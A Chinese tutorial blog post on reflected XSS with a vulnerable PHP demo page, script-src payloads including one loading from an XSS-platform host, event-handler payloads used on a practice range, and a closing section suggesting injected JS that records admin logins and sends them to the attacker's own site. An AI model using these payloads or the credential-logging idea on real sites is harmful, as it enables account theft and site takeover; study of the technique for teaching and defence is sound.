反射性xss原理剖析

目录

前言

正文

0x01:源码分析

0x02 其他弹窗方式

1)伪协议弹窗

2)事件型弹窗

0x03 靶场实战

 

0x04 其他常用事件

1)onfoucs

2)onmouseover

0x04 弹窗函数

0x05 拓展:

总结:


前言

跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而达到恶意的特殊目的。反射性XSS需要诱惑用户点击,才可以利用,所以很多人不去注意
xss漏洞可以用来进行钓鱼攻击,前端js挖矿,用户cookie获取。甚至可以结合浏览器自身的漏洞对用户主机进行远程控制
 

简单理解就是,xss拼接的是网页的HTML代码

总结:构造出合适的HTML代码,去拼接页面原有的代码从而去执行恶意的JS语句

 

正文

0x01:源码分析

首先是 1.html


<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk" /> 
<title>反射型xss</title>
</head>
<body>
<form action="2.php" method="get">
    <input type="text" name="a">
    <input type="submit">
</form>
</body>
</html>

然后是 2.php

<?php
    $xss = $_GET['a'];
    echo '你输入的字符为<br>'.$xss;
?>

 然后注意观察,首先是执行1.html,提交查询,然后会自动跳转到2.php

点击提交查询

这时候我们审查元素,检查元素

其实我们查询的流程是在前端a的位置输入,然后这个表单会提交到后端2.php

后端变量xss首先是以GET方式接受a的传参,然后再echo的输出

画个流程图也就这样,如果可以去搭建个xss平台,然后构造payload,然后让浏览器偷偷的访问

<script src="https://www.baidu.com"></script>

 

这里以百度为例,让他去偷偷的去访问百度,状态码 200,意思就是访问成功了

这里其实就是偷偷的去调用这个网址,为什么页面上没有显示,因为他被当做代码执行了。所以没有显示

这时候我们看下xss平台的payload

<sCRiPt/SrC=//xssye.com/aaaaa>

这里其实就是访问到 xssye.com 这个地址

这个是菜鸟上面的介绍 

(然而这里是浏览器读取,不是服务器读取)

 

0x02 其他弹窗方式

其实<script></script> 这个是告诉我们中间的个js语句

比如我们单独输入alert(1),就弹不了窗

1)伪协议弹窗

上面是伪协议?

伪协议只要关联应用才能使用(例如:php://  tencent://【关联qq】)

javascript: 伪协议实际上声明URL的主题是任意的javascript代码

 

2)事件型弹窗

然而因为现在的xss,大部分都是时间型弹窗,一般会过滤<,>,等等

事件型函数在这里就可以看见了:事件型函数大全

常用的有:onerror,onload(成功加载执行),

oninput(有输入框,输入的时候触发)

onfocus(获取焦点触发)

xss 作用于浏览器

js、html代码 都是浏览器执行

 

0x03 靶场实战

这里借用掌控靶场

这里审查元素,任何我们要先进行闭合,再弹窗

我们先看第一个输出点,发现是在标签内被转码了

这凉了,是不可以利用。这种情况的话是不可能打出xss了

这里的话我们看到尖括号被转义了

<input name=keyword  value=''>

被转义的话就只能使用事件型进行弹窗。

构造payload:

<input name=keyword  value=''oninput=alert(1) //'>

闭合成功后,payload就是:' οninput=alert(1) //

这里使用 oninput标签,为什么用呢

因为输出点是form表单内,这样我们就可以使用对应的事件型~~

意思是当元素获取到用户输入的字符是,就会运行

所以我们随便在框内输入个a,就可以弹窗了

 

0x04 其他常用事件

1)onfoucs

' οnfοcus=alert(1) //  获取焦点

什么是获取焦点,就是你鼠标点击输出点的那个地方,它获取到了就会执行

' onfocus=alert(1) autofocus//

然而下面这个payload是自动获取焦点,刷新一下就可以弹窗。 

 

2)onmouseover

' onmouseover=alert(1) //

和上面一样,是当鼠标移动到框的时候进行弹窗

 

0x04 弹窗函数

1:alert()  常用

2:confirm() 

3:prompt() 

0x05 拓展:

在有 shell 的情况下,如何使用 xss 实现对目标站的长久控制? 

1)后台登录处加一段记录登录账号密码的 js,并且判断是否登录成功,如 果登录成功,就把账号密码记录到一个生僻的路径的文件中或者直接发到自己的 网站文件中。

(2)在登录后才可以访问的文件中插入 XSS 脚本

 

如果盲打xss返回的信息,显示后台在内网?

文章:使用csrf+xss组合拳

 

总结:

见框就插,这就是精髓

有时候文件上传那边可以插一下

 

 

 

 

 

 

 

 

 

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值